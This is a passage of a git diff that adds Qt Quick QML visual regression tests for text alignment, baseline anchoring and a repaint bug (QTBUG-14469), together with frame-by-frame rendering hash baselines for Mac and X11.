diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/align/multilineAlign.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/align/multilineAlign.qml
new file mode 100644
index 00000000..a4277192
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/align/multilineAlign.qml
@@ -0,0 +1,25 @@
+import QtQuick 1.0
+import "../../shared" 1.0
+
+/*Tests both the alignments of multiline text, and that
+ it can deal with changing them properly
+*/
+Item{
+ width: 100
+ height: 80
+ property int stage: 0
+ onStageChanged: if(stage == 6) Qt.quit();
+ TestText{
+ text: "I am the very model of a modern major general."
+ anchors.fill: parent;
+ wrapMode: Text.WordWrap
+ horizontalAlignment: (stage<1 ? Text.AlignRight : (stage<3 ? Text.AlignHCenter : Text.AlignLeft))
+ verticalAlignment: (stage<2 ? Text.AlignBottom : (stage<4 ? Text.AlignVCenter : Text.AlignTop))
+ }
+ Timer{
+ interval: 160
+ running: true
+ repeat: true
+ onTriggered: stage += 1
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/baseline/data-MAC/parentanchor.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/baseline/data-MAC/parentanchor.0.png
new file mode 100644
index 00000000..1fd02137
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/baseline/data-MAC/parentanchor.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/baseline/data-MAC/parentanchor.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/baseline/data-MAC/parentanchor.qml
new file mode 100644
index 00000000..c5a5a761
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/baseline/data-MAC/parentanchor.qml
@@ -0,0 +1,131 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "parentanchor.0.png"
+ }
+ Frame {
+ msec: 32
+ hash: "f45eda9414f7db5ed1f97a8275459abd"
+ }
+ Frame {
+ msec: 48
+ hash: "f45eda9414f7db5ed1f97a8275459abd"
+ }
+ Frame {
+ msec: 64
+ hash: "f45eda9414f7db5ed1f97a8275459abd"
+ }
+ Frame {
+ msec: 80
+ hash: "f45eda9414f7db5ed1f97a8275459abd"
+ }
+ Frame {
+ msec: 96
+ hash: "f45eda9414f7db5ed1f97a8275459abd"
+ }
+ Frame {
+ msec: 112
+ hash: "f45eda9414f7db5ed1f97a8275459abd"
+ }
+ Frame {
+ msec: 128
+ hash: "f45eda9414f7db5ed1f97a8275459abd"
+ }
+ Frame {
+ msec: 144
+ hash: "f45eda9414f7db5ed1f97a8275459abd"
+ }
+ Frame {
+ msec: 160
+ hash: "f45eda9414f7db5ed1f97a8275459abd"
+ }
+ Frame {
+ msec: 176
+ hash: "f45eda9414f7db5ed1f97a8275459abd"
+ }
+ Frame {
+ msec: 192
+ hash: "f45eda9414f7db5ed1f97a8275459abd"
+ }
+ Frame {
+ msec: 208
+ hash: "f45eda9414f7db5ed1f97a8275459abd"
+ }
+ Frame {
+ msec: 224
+ hash: "f45eda9414f7db5ed1f97a8275459abd"
+ }
+ Frame {
+ msec: 240
+ hash: "f45eda9414f7db5ed1f97a8275459abd"
+ }
+ Frame {
+ msec: 256
+ hash: "f45eda9414f7db5ed1f97a8275459abd"
+ }
+ Frame {
+ msec: 272
+ hash: "f45eda9414f7db5ed1f97a8275459abd"
+ }
+ Frame {
+ msec: 288
+ hash: "f45eda9414f7db5ed1f97a8275459abd"
+ }
+ Frame {
+ msec: 304
+ hash: "f45eda9414f7db5ed1f97a8275459abd"
+ }
+ Frame {
+ msec: 320
+ hash: "f45eda9414f7db5ed1f97a8275459abd"
+ }
+ Frame {
+ msec: 336
+ hash: "f45eda9414f7db5ed1f97a8275459abd"
+ }
+ Frame {
+ msec: 352
+ hash: "f45eda9414f7db5ed1f97a8275459abd"
+ }
+ Frame {
+ msec: 368
+ hash: "f45eda9414f7db5ed1f97a8275459abd"
+ }
+ Frame {
+ msec: 384
+ hash: "f45eda9414f7db5ed1f97a8275459abd"
+ }
+ Frame {
+ msec: 400
+ hash: "f45eda9414f7db5ed1f97a8275459abd"
+ }
+ Frame {
+ msec: 416
+ hash: "f45eda9414f7db5ed1f97a8275459abd"
+ }
+ Frame {
+ msec: 432
+ hash: "f45eda9414f7db5ed1f97a8275459abd"
+ }
+ Frame {
+ msec: 448
+ hash: "f45eda9414f7db5ed1f97a8275459abd"
+ }
+ Frame {
+ msec: 464
+ hash: "f45eda9414f7db5ed1f97a8275459abd"
+ }
+ Frame {
+ msec: 480
+ hash: "f45eda9414f7db5ed1f97a8275459abd"
+ }
+ Frame {
+ msec: 496
+ hash: "f45eda9414f7db5ed1f97a8275459abd"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/baseline/data-X11/parentanchor.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/baseline/data-X11/parentanchor.0.png
new file mode 100644
index 00000000..d85498b4
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/baseline/data-X11/parentanchor.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/baseline/data-X11/parentanchor.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/baseline/data-X11/parentanchor.qml
new file mode 100644
index 00000000..4bf06970
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/baseline/data-X11/parentanchor.qml
@@ -0,0 +1,131 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "parentanchor.0.png"
+ }
+ Frame {
+ msec: 32
+ hash: "7e082fa05e000cc20fcda7cb61d98edd"
+ }
+ Frame {
+ msec: 48
+ hash: "7e082fa05e000cc20fcda7cb61d98edd"
+ }
+ Frame {
+ msec: 64
+ hash: "7e082fa05e000cc20fcda7cb61d98edd"
+ }
+ Frame {
+ msec: 80
+ hash: "7e082fa05e000cc20fcda7cb61d98edd"
+ }
+ Frame {
+ msec: 96
+ hash: "7e082fa05e000cc20fcda7cb61d98edd"
+ }
+ Frame {
+ msec: 112
+ hash: "7e082fa05e000cc20fcda7cb61d98edd"
+ }
+ Frame {
+ msec: 128
+ hash: "7e082fa05e000cc20fcda7cb61d98edd"
+ }
+ Frame {
+ msec: 144
+ hash: "7e082fa05e000cc20fcda7cb61d98edd"
+ }
+ Frame {
+ msec: 160
+ hash: "7e082fa05e000cc20fcda7cb61d98edd"
+ }
+ Frame {
+ msec: 176
+ hash: "7e082fa05e000cc20fcda7cb61d98edd"
+ }
+ Frame {
+ msec: 192
+ hash: "7e082fa05e000cc20fcda7cb61d98edd"
+ }
+ Frame {
+ msec: 208
+ hash: "7e082fa05e000cc20fcda7cb61d98edd"
+ }
+ Frame {
+ msec: 224
+ hash: "7e082fa05e000cc20fcda7cb61d98edd"
+ }
+ Frame {
+ msec: 240
+ hash: "7e082fa05e000cc20fcda7cb61d98edd"
+ }
+ Frame {
+ msec: 256
+ hash: "7e082fa05e000cc20fcda7cb61d98edd"
+ }
+ Frame {
+ msec: 272
+ hash: "7e082fa05e000cc20fcda7cb61d98edd"
+ }
+ Frame {
+ msec: 288
+ hash: "7e082fa05e000cc20fcda7cb61d98edd"
+ }
+ Frame {
+ msec: 304
+ hash: "7e082fa05e000cc20fcda7cb61d98edd"
+ }
+ Frame {
+ msec: 320
+ hash: "7e082fa05e000cc20fcda7cb61d98edd"
+ }
+ Frame {
+ msec: 336
+ hash: "7e082fa05e000cc20fcda7cb61d98edd"
+ }
+ Frame {
+ msec: 352
+ hash: "7e082fa05e000cc20fcda7cb61d98edd"
+ }
+ Frame {
+ msec: 368
+ hash: "7e082fa05e000cc20fcda7cb61d98edd"
+ }
+ Frame {
+ msec: 384
+ hash: "7e082fa05e000cc20fcda7cb61d98edd"
+ }
+ Frame {
+ msec: 400
+ hash: "7e082fa05e000cc20fcda7cb61d98edd"
+ }
+ Frame {
+ msec: 416
+ hash: "7e082fa05e000cc20fcda7cb61d98edd"
+ }
+ Frame {
+ msec: 432
+ hash: "7e082fa05e000cc20fcda7cb61d98edd"
+ }
+ Frame {
+ msec: 448
+ hash: "7e082fa05e000cc20fcda7cb61d98edd"
+ }
+ Frame {
+ msec: 464
+ hash: "7e082fa05e000cc20fcda7cb61d98edd"
+ }
+ Frame {
+ msec: 480
+ hash: "7e082fa05e000cc20fcda7cb61d98edd"
+ }
+ Frame {
+ msec: 496
+ hash: "7e082fa05e000cc20fcda7cb61d98edd"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/baseline/data/parentanchor.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/baseline/data/parentanchor.qml
new file mode 100644
index 00000000..880609b6
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/baseline/data/parentanchor.qml
@@ -0,0 +1,131 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ hash: "3e022a120a2dbe688d53657508de36cf"
+ }
+ Frame {
+ msec: 32
+ hash: "3e022a120a2dbe688d53657508de36cf"
+ }
+ Frame {
+ msec: 48
+ hash: "3e022a120a2dbe688d53657508de36cf"
+ }
+ Frame {
+ msec: 64
+ hash: "3e022a120a2dbe688d53657508de36cf"
+ }
+ Frame {
+ msec: 80
+ hash: "3e022a120a2dbe688d53657508de36cf"
+ }
+ Frame {
+ msec: 96
+ hash: "3e022a120a2dbe688d53657508de36cf"
+ }
+ Frame {
+ msec: 112
+ hash: "3e022a120a2dbe688d53657508de36cf"
+ }
+ Frame {
+ msec: 128
+ hash: "3e022a120a2dbe688d53657508de36cf"
+ }
+ Frame {
+ msec: 144
+ hash: "3e022a120a2dbe688d53657508de36cf"
+ }
+ Frame {
+ msec: 160
+ hash: "3e022a120a2dbe688d53657508de36cf"
+ }
+ Frame {
+ msec: 176
+ hash: "3e022a120a2dbe688d53657508de36cf"
+ }
+ Frame {
+ msec: 192
+ hash: "3e022a120a2dbe688d53657508de36cf"
+ }
+ Frame {
+ msec: 208
+ hash: "3e022a120a2dbe688d53657508de36cf"
+ }
+ Frame {
+ msec: 224
+ hash: "3e022a120a2dbe688d53657508de36cf"
+ }
+ Frame {
+ msec: 240
+ hash: "3e022a120a2dbe688d53657508de36cf"
+ }
+ Frame {
+ msec: 256
+ hash: "3e022a120a2dbe688d53657508de36cf"
+ }
+ Frame {
+ msec: 272
+ hash: "3e022a120a2dbe688d53657508de36cf"
+ }
+ Frame {
+ msec: 288
+ hash: "3e022a120a2dbe688d53657508de36cf"
+ }
+ Frame {
+ msec: 304
+ hash: "3e022a120a2dbe688d53657508de36cf"
+ }
+ Frame {
+ msec: 320
+ hash: "3e022a120a2dbe688d53657508de36cf"
+ }
+ Frame {
+ msec: 336
+ hash: "3e022a120a2dbe688d53657508de36cf"
+ }
+ Frame {
+ msec: 352
+ hash: "3e022a120a2dbe688d53657508de36cf"
+ }
+ Frame {
+ msec: 368
+ hash: "3e022a120a2dbe688d53657508de36cf"
+ }
+ Frame {
+ msec: 384
+ hash: "3e022a120a2dbe688d53657508de36cf"
+ }
+ Frame {
+ msec: 400
+ hash: "3e022a120a2dbe688d53657508de36cf"
+ }
+ Frame {
+ msec: 416
+ hash: "3e022a120a2dbe688d53657508de36cf"
+ }
+ Frame {
+ msec: 432
+ hash: "3e022a120a2dbe688d53657508de36cf"
+ }
+ Frame {
+ msec: 448
+ hash: "3e022a120a2dbe688d53657508de36cf"
+ }
+ Frame {
+ msec: 464
+ hash: "3e022a120a2dbe688d53657508de36cf"
+ }
+ Frame {
+ msec: 480
+ hash: "3e022a120a2dbe688d53657508de36cf"
+ }
+ Frame {
+ msec: 496
+ hash: "3e022a120a2dbe688d53657508de36cf"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/baseline/parentanchor.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/baseline/parentanchor.qml
new file mode 100644
index 00000000..618a65f0
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/baseline/parentanchor.qml
@@ -0,0 +1,15 @@
+import QtQuick 1.0
+import "../../shared" 1.0
+
+Rectangle {
+ id: s; width: 600; height: 100;
+ property string text: "The quick brown fox jumps over the lazy dog."
+ TestText {
+ text: s.text
+ anchors.verticalCenter: s.verticalCenter
+ }
+ TestText {
+ text: s.text
+ anchors.baseline: s.verticalCenter
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/bugs/QTBUG-14469.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/bugs/QTBUG-14469.qml
new file mode 100644
index 00000000..aca7c2dd
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/bugs/QTBUG-14469.qml
@@ -0,0 +1,23 @@
+import QtQuick 1.0
+import "../../shared" 1.0
+
+/* The bug was that if text was set to "" or the size didn't increase, the text didn't repaint
+ ended up only repainting for 1, 10, 11, 12.
+ Test passes if it goes from "" to 13 back to "" with all numbers being painted (and the text disappearing at 0)
+ */
+
+Item{
+ width: 80
+ height: 80
+ property int val: 0
+ Text{
+ id: txt;
+ text: val == 0 ? "" : val
+ }
+ Timer{
+ interval: 100
+ running: true
+ repeat: true;
+ onTriggered: {val = (val + 1) % 14;}
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/bugs/data-MAC/QTBUG-14469.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/bugs/data-MAC/QTBUG-14469.0.png
new file mode 100644
index 00000000..4d6bf55f
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/bugs/data-MAC/QTBUG-14469.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/bugs/data-MAC/QTBUG-14469.1.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/bugs/data-MAC/QTBUG-14469.1.png
new file mode 100644
index 00000000..a75da16e
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/bugs/data-MAC/QTBUG-14469.1.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/bugs/data-MAC/QTBUG-14469.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/bugs/data-MAC/QTBUG-14469.qml
new file mode 100644
index 00000000..002e1c8d
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/bugs/data-MAC/QTBUG-14469.qml
@@ -0,0 +1,475 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "QTBUG-14469.0.png"
+ }
+ Frame {
+ msec: 32
+ hash: "fab978e1e0ee5140d8131320ff2322e9"
+ }
+ Frame {
+ msec: 48
+ hash: "fab978e1e0ee5140d8131320ff2322e9"
+ }
+ Frame {
+ msec: 64
+ hash: "fab978e1e0ee5140d8131320ff2322e9"
+ }
+ Frame {
+ msec: 80
+ hash: "fab978e1e0ee5140d8131320ff2322e9"
+ }
+ Frame {
+ msec: 96
+ hash: "fab978e1e0ee5140d8131320ff2322e9"
+ }
+ Frame {
+ msec: 112
+ hash: "fab978e1e0ee5140d8131320ff2322e9"
+ }
+ Frame {
+ msec: 128
+ hash: "cf74324c2a0c8f45c728d42390aac1e0"
+ }
+ Frame {
+ msec: 144
+ hash: "cf74324c2a0c8f45c728d42390aac1e0"
+ }
+ Frame {
+ msec: 160
+ hash: "cf74324c2a0c8f45c728d42390aac1e0"
+ }
+ Frame {
+ msec: 176
+ hash: "cf74324c2a0c8f45c728d42390aac1e0"
+ }
+ Frame {
+ msec: 192
+ hash: "cf74324c2a0c8f45c728d42390aac1e0"
+ }
+ Frame {
+ msec: 208
+ hash: "cf74324c2a0c8f45c728d42390aac1e0"
+ }
+ Frame {
+ msec: 224
+ hash: "07c938ac9ff9f591e84fc553291c7c49"
+ }
+ Frame {
+ msec: 240
+ hash: "07c938ac9ff9f591e84fc553291c7c49"
+ }
+ Frame {
+ msec: 256
+ hash: "07c938ac9ff9f591e84fc553291c7c49"
+ }
+ Frame {
+ msec: 272
+ hash: "07c938ac9ff9f591e84fc553291c7c49"
+ }
+ Frame {
+ msec: 288
+ hash: "07c938ac9ff9f591e84fc553291c7c49"
+ }
+ Frame {
+ msec: 304
+ hash: "07c938ac9ff9f591e84fc553291c7c49"
+ }
+ Frame {
+ msec: 320
+ hash: "7b585eb6226e6ce2de355f9730dba377"
+ }
+ Frame {
+ msec: 336
+ hash: "7b585eb6226e6ce2de355f9730dba377"
+ }
+ Frame {
+ msec: 352
+ hash: "7b585eb6226e6ce2de355f9730dba377"
+ }
+ Frame {
+ msec: 368
+ hash: "7b585eb6226e6ce2de355f9730dba377"
+ }
+ Frame {
+ msec: 384
+ hash: "7b585eb6226e6ce2de355f9730dba377"
+ }
+ Frame {
+ msec: 400
+ hash: "7b585eb6226e6ce2de355f9730dba377"
+ }
+ Frame {
+ msec: 416
+ hash: "a7817a7d902ab2fe2875183feb6513dd"
+ }
+ Frame {
+ msec: 432
+ hash: "a7817a7d902ab2fe2875183feb6513dd"
+ }
+ Frame {
+ msec: 448
+ hash: "a7817a7d902ab2fe2875183feb6513dd"
+ }
+ Frame {
+ msec: 464
+ hash: "a7817a7d902ab2fe2875183feb6513dd"
+ }
+ Frame {
+ msec: 480
+ hash: "a7817a7d902ab2fe2875183feb6513dd"
+ }
+ Frame {
+ msec: 496
+ hash: "a7817a7d902ab2fe2875183feb6513dd"
+ }
+ Frame {
+ msec: 512
+ hash: "a7817a7d902ab2fe2875183feb6513dd"
+ }
+ Frame {
+ msec: 528
+ hash: "067dfe70eca44e2157b723858897c90e"
+ }
+ Frame {
+ msec: 544
+ hash: "067dfe70eca44e2157b723858897c90e"
+ }
+ Frame {
+ msec: 560
+ hash: "067dfe70eca44e2157b723858897c90e"
+ }
+ Frame {
+ msec: 576
+ hash: "067dfe70eca44e2157b723858897c90e"
+ }
+ Frame {
+ msec: 592
+ hash: "067dfe70eca44e2157b723858897c90e"
+ }
+ Frame {
+ msec: 608
+ hash: "067dfe70eca44e2157b723858897c90e"
+ }
+ Frame {
+ msec: 624
+ hash: "b1ac0015f173bf5789daa5d45d04dadd"
+ }
+ Frame {
+ msec: 640
+ hash: "b1ac0015f173bf5789daa5d45d04dadd"
+ }
+ Frame {
+ msec: 656
+ hash: "b1ac0015f173bf5789daa5d45d04dadd"
+ }
+ Frame {
+ msec: 672
+ hash: "b1ac0015f173bf5789daa5d45d04dadd"
+ }
+ Frame {
+ msec: 688
+ hash: "b1ac0015f173bf5789daa5d45d04dadd"
+ }
+ Frame {
+ msec: 704
+ hash: "b1ac0015f173bf5789daa5d45d04dadd"
+ }
+ Frame {
+ msec: 720
+ hash: "431cb09ccdcfab7c3ff7d498aa1f0816"
+ }
+ Frame {
+ msec: 736
+ hash: "431cb09ccdcfab7c3ff7d498aa1f0816"
+ }
+ Frame {
+ msec: 752
+ hash: "431cb09ccdcfab7c3ff7d498aa1f0816"
+ }
+ Frame {
+ msec: 768
+ hash: "431cb09ccdcfab7c3ff7d498aa1f0816"
+ }
+ Frame {
+ msec: 784
+ hash: "431cb09ccdcfab7c3ff7d498aa1f0816"
+ }
+ Frame {
+ msec: 800
+ hash: "431cb09ccdcfab7c3ff7d498aa1f0816"
+ }
+ Frame {
+ msec: 816
+ hash: "533b23f29fe5f9dc85a6ca390c6dd023"
+ }
+ Frame {
+ msec: 832
+ hash: "533b23f29fe5f9dc85a6ca390c6dd023"
+ }
+ Frame {
+ msec: 848
+ hash: "533b23f29fe5f9dc85a6ca390c6dd023"
+ }
+ Frame {
+ msec: 864
+ hash: "533b23f29fe5f9dc85a6ca390c6dd023"
+ }
+ Frame {
+ msec: 880
+ hash: "533b23f29fe5f9dc85a6ca390c6dd023"
+ }
+ Frame {
+ msec: 896
+ hash: "533b23f29fe5f9dc85a6ca390c6dd023"
+ }
+ Frame {
+ msec: 912
+ hash: "533b23f29fe5f9dc85a6ca390c6dd023"
+ }
+ Frame {
+ msec: 928
+ hash: "cd397908009ddf16ec3101efb0d7468e"
+ }
+ Frame {
+ msec: 944
+ hash: "cd397908009ddf16ec3101efb0d7468e"
+ }
+ Frame {
+ msec: 960
+ hash: "cd397908009ddf16ec3101efb0d7468e"
+ }
+ Frame {
+ msec: 976
+ image: "QTBUG-14469.1.png"
+ }
+ Frame {
+ msec: 992
+ hash: "cd397908009ddf16ec3101efb0d7468e"
+ }
+ Frame {
+ msec: 1008
+ hash: "cd397908009ddf16ec3101efb0d7468e"
+ }
+ Frame {
+ msec: 1024
+ hash: "a1eebf1a97314851b5154802f05abe8d"
+ }
+ Frame {
+ msec: 1040
+ hash: "a1eebf1a97314851b5154802f05abe8d"
+ }
+ Frame {
+ msec: 1056
+ hash: "a1eebf1a97314851b5154802f05abe8d"
+ }
+ Frame {
+ msec: 1072
+ hash: "a1eebf1a97314851b5154802f05abe8d"
+ }
+ Frame {
+ msec: 1088
+ hash: "a1eebf1a97314851b5154802f05abe8d"
+ }
+ Frame {
+ msec: 1104
+ hash: "a1eebf1a97314851b5154802f05abe8d"
+ }
+ Frame {
+ msec: 1120
+ hash: "71d91d85b9c555eb9b39dac79b35dd46"
+ }
+ Frame {
+ msec: 1136
+ hash: "71d91d85b9c555eb9b39dac79b35dd46"
+ }
+ Frame {
+ msec: 1152
+ hash: "71d91d85b9c555eb9b39dac79b35dd46"
+ }
+ Frame {
+ msec: 1168
+ hash: "71d91d85b9c555eb9b39dac79b35dd46"
+ }
+ Frame {
+ msec: 1184
+ hash: "71d91d85b9c555eb9b39dac79b35dd46"
+ }
+ Frame {
+ msec: 1200
+ hash: "71d91d85b9c555eb9b39dac79b35dd46"
+ }
+ Frame {
+ msec: 1216
+ hash: "b1da2d1f4aad2a197a80788607bd867d"
+ }
+ Frame {
+ msec: 1232
+ hash: "b1da2d1f4aad2a197a80788607bd867d"
+ }
+ Frame {
+ msec: 1248
+ hash: "b1da2d1f4aad2a197a80788607bd867d"
+ }
+ Frame {
+ msec: 1264
+ hash: "b1da2d1f4aad2a197a80788607bd867d"
+ }
+ Frame {
+ msec: 1280
+ hash: "b1da2d1f4aad2a197a80788607bd867d"
+ }
+ Frame {
+ msec: 1296
+ hash: "b1da2d1f4aad2a197a80788607bd867d"
+ }
+ Frame {
+ msec: 1312
+ hash: "b1da2d1f4aad2a197a80788607bd867d"
+ }
+ Frame {
+ msec: 1328
+ hash: "df14e9cfeba3850bae7cad111fdbc8df"
+ }
+ Frame {
+ msec: 1344
+ hash: "df14e9cfeba3850bae7cad111fdbc8df"
+ }
+ Frame {
+ msec: 1360
+ hash: "df14e9cfeba3850bae7cad111fdbc8df"
+ }
+ Frame {
+ msec: 1376
+ hash: "df14e9cfeba3850bae7cad111fdbc8df"
+ }
+ Frame {
+ msec: 1392
+ hash: "df14e9cfeba3850bae7cad111fdbc8df"
+ }
+ Frame {
+ msec: 1408
+ hash: "df14e9cfeba3850bae7cad111fdbc8df"
+ }
+ Frame {
+ msec: 1424
+ hash: "fab978e1e0ee5140d8131320ff2322e9"
+ }
+ Frame {
+ msec: 1440
+ hash: "fab978e1e0ee5140d8131320ff2322e9"
+ }
+ Frame {
+ msec: 1456
+ hash: "fab978e1e0ee5140d8131320ff2322e9"
+ }
+ Frame {
+ msec: 1472
+ hash: "fab978e1e0ee5140d8131320ff2322e9"
+ }
+ Frame {
+ msec: 1488
+ hash: "fab978e1e0ee5140d8131320ff2322e9"
+ }
+ Frame {
+ msec: 1504
+ hash: "fab978e1e0ee5140d8131320ff2322e9"
+ }
+ Frame {
+ msec: 1520
+ hash: "cf74324c2a0c8f45c728d42390aac1e0"
+ }
+ Frame {
+ msec: 1536
+ hash: "cf74324c2a0c8f45c728d42390aac1e0"
+ }
+ Frame {
+ msec: 1552
+ hash: "cf74324c2a0c8f45c728d42390aac1e0"
+ }
+ Frame {
+ msec: 1568
+ hash: "cf74324c2a0c8f45c728d42390aac1e0"
+ }
+ Frame {
+ msec: 1584
+ hash: "cf74324c2a0c8f45c728d42390aac1e0"
+ }
+ Frame {
+ msec: 1600
+ hash: "cf74324c2a0c8f45c728d42390aac1e0"
+ }
+ Frame {
+ msec: 1616
+ hash: "07c938ac9ff9f591e84fc553291c7c49"
+ }
+ Frame {
+ msec: 1632
+ hash: "07c938ac9ff9f591e84fc553291c7c49"
+ }
+ Frame {
+ msec: 1648
+ hash: "07c938ac9ff9f591e84fc553291c7c49"
+ }
+ Frame {
+ msec: 1664
+ hash: "07c938ac9ff9f591e84fc553291c7c49"
+ }
+ Frame {
+ msec: 1680
+ hash: "07c938ac9ff9f591e84fc553291c7c49"
+ }
+ Frame {
+ msec: 1696
+ hash: "07c938ac9ff9f591e84fc553291c7c49"
+ }
+ Frame {
+ msec: 1712
+ hash: "07c938ac9ff9f591e84fc553291c7c49"
+ }
+ Frame {
+ msec: 1728
+ hash: "7b585eb6226e6ce2de355f9730dba377"
+ }
+ Frame {
+ msec: 1744
+ hash: "7b585eb6226e6ce2de355f9730dba377"
+ }
+ Frame {
+ msec: 1760
+ hash: "7b585eb6226e6ce2de355f9730dba377"
+ }
+ Frame {
+ msec: 1776
+ hash: "7b585eb6226e6ce2de355f9730dba377"
+ }
+ Frame {
+ msec: 1792
+ hash: "7b585eb6226e6ce2de355f9730dba377"
+ }
+ Frame {
+ msec: 1808
+ hash: "7b585eb6226e6ce2de355f9730dba377"
+ }
+ Frame {
+ msec: 1824
+ hash: "a7817a7d902ab2fe2875183feb6513dd"
+ }
+ Frame {
+ msec: 1840
+ hash: "a7817a7d902ab2fe2875183feb6513dd"
+ }
+ Frame {
+ msec: 1856
+ hash: "a7817a7d902ab2fe2875183feb6513dd"
+ }
+ Frame {
+ msec: 1872
+ hash: "a7817a7d902ab2fe2875183feb6513dd"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/bugs/data-X11/QTBUG-14469.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/bugs/data-X11/QTBUG-14469.0.png
new file mode 100644
index 00000000..ee3c7447
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/bugs/data-X11/QTBUG-14469.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/bugs/data-X11/QTBUG-14469.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/bugs/data-X11/QTBUG-14469.qml
new file mode 100644
index 00000000..b7708363
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/bugs/data-X11/QTBUG-14469.qml
@@ -0,0 +1,475 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "QTBUG-14469.0.png"
+ }
+ Frame {
+ msec: 32
+ hash: "fab978e1e0ee5140d8131320ff2322e9"
+ }
+ Frame {
+ msec: 48
+ hash: "fab978e1e0ee5140d8131320ff2322e9"
+ }
+ Frame {
+ msec: 64
+ hash: "fab978e1e0ee5140d8131320ff2322e9"
+ }
+ Frame {
+ msec: 80
+ hash: "fab978e1e0ee5140d8131320ff2322e9"
+ }
+ Frame {
+ msec: 96
+ hash: "fab978e1e0ee5140d8131320ff2322e9"
+ }
+ Frame {
+ msec: 112
+ hash: "fab978e1e0ee5140d8131320ff2322e9"
+ }
+ Frame {
+ msec: 128
+ hash: "6971eb49a32b8f9e09c24ac1340728cb"
+ }
+ Frame {
+ msec: 144
+ hash: "6971eb49a32b8f9e09c24ac1340728cb"
+ }
+ Frame {
+ msec: 160
+ hash: "6971eb49a32b8f9e09c24ac1340728cb"
+ }
+ Frame {
+ msec: 176
+ hash: "6971eb49a32b8f9e09c24ac1340728cb"
+ }
+ Frame {
+ msec: 192
+ hash: "6971eb49a32b8f9e09c24ac1340728cb"
+ }
+ Frame {
+ msec: 208
+ hash: "6971eb49a32b8f9e09c24ac1340728cb"
+ }
+ Frame {
+ msec: 224
+ hash: "834338b693368e154163f806f49d5ba3"
+ }
+ Frame {
+ msec: 240
+ hash: "834338b693368e154163f806f49d5ba3"
+ }
+ Frame {
+ msec: 256
+ hash: "834338b693368e154163f806f49d5ba3"
+ }
+ Frame {
+ msec: 272
+ hash: "834338b693368e154163f806f49d5ba3"
+ }
+ Frame {
+ msec: 288
+ hash: "834338b693368e154163f806f49d5ba3"
+ }
+ Frame {
+ msec: 304
+ hash: "834338b693368e154163f806f49d5ba3"
+ }
+ Frame {
+ msec: 320
+ hash: "4b79bd737312a5aa026b73c07bfd840c"
+ }
+ Frame {
+ msec: 336
+ hash: "4b79bd737312a5aa026b73c07bfd840c"
+ }
+ Frame {
+ msec: 352
+ hash: "4b79bd737312a5aa026b73c07bfd840c"
+ }
+ Frame {
+ msec: 368
+ hash: "4b79bd737312a5aa026b73c07bfd840c"
+ }
+ Frame {
+ msec: 384
+ hash: "4b79bd737312a5aa026b73c07bfd840c"
+ }
+ Frame {
+ msec: 400
+ hash: "4b79bd737312a5aa026b73c07bfd840c"
+ }
+ Frame {
+ msec: 416
+ hash: "daa67aed3e94e9e8823e8bed04aee960"
+ }
+ Frame {
+ msec: 432
+ hash: "daa67aed3e94e9e8823e8bed04aee960"
+ }
+ Frame {
+ msec: 448
+ hash: "daa67aed3e94e9e8823e8bed04aee960"
+ }
+ Frame {
+ msec: 464
+ hash: "daa67aed3e94e9e8823e8bed04aee960"
+ }
+ Frame {
+ msec: 480
+ hash: "daa67aed3e94e9e8823e8bed04aee960"
+ }
+ Frame {
+ msec: 496
+ hash: "daa67aed3e94e9e8823e8bed04aee960"
+ }
+ Frame {
+ msec: 512
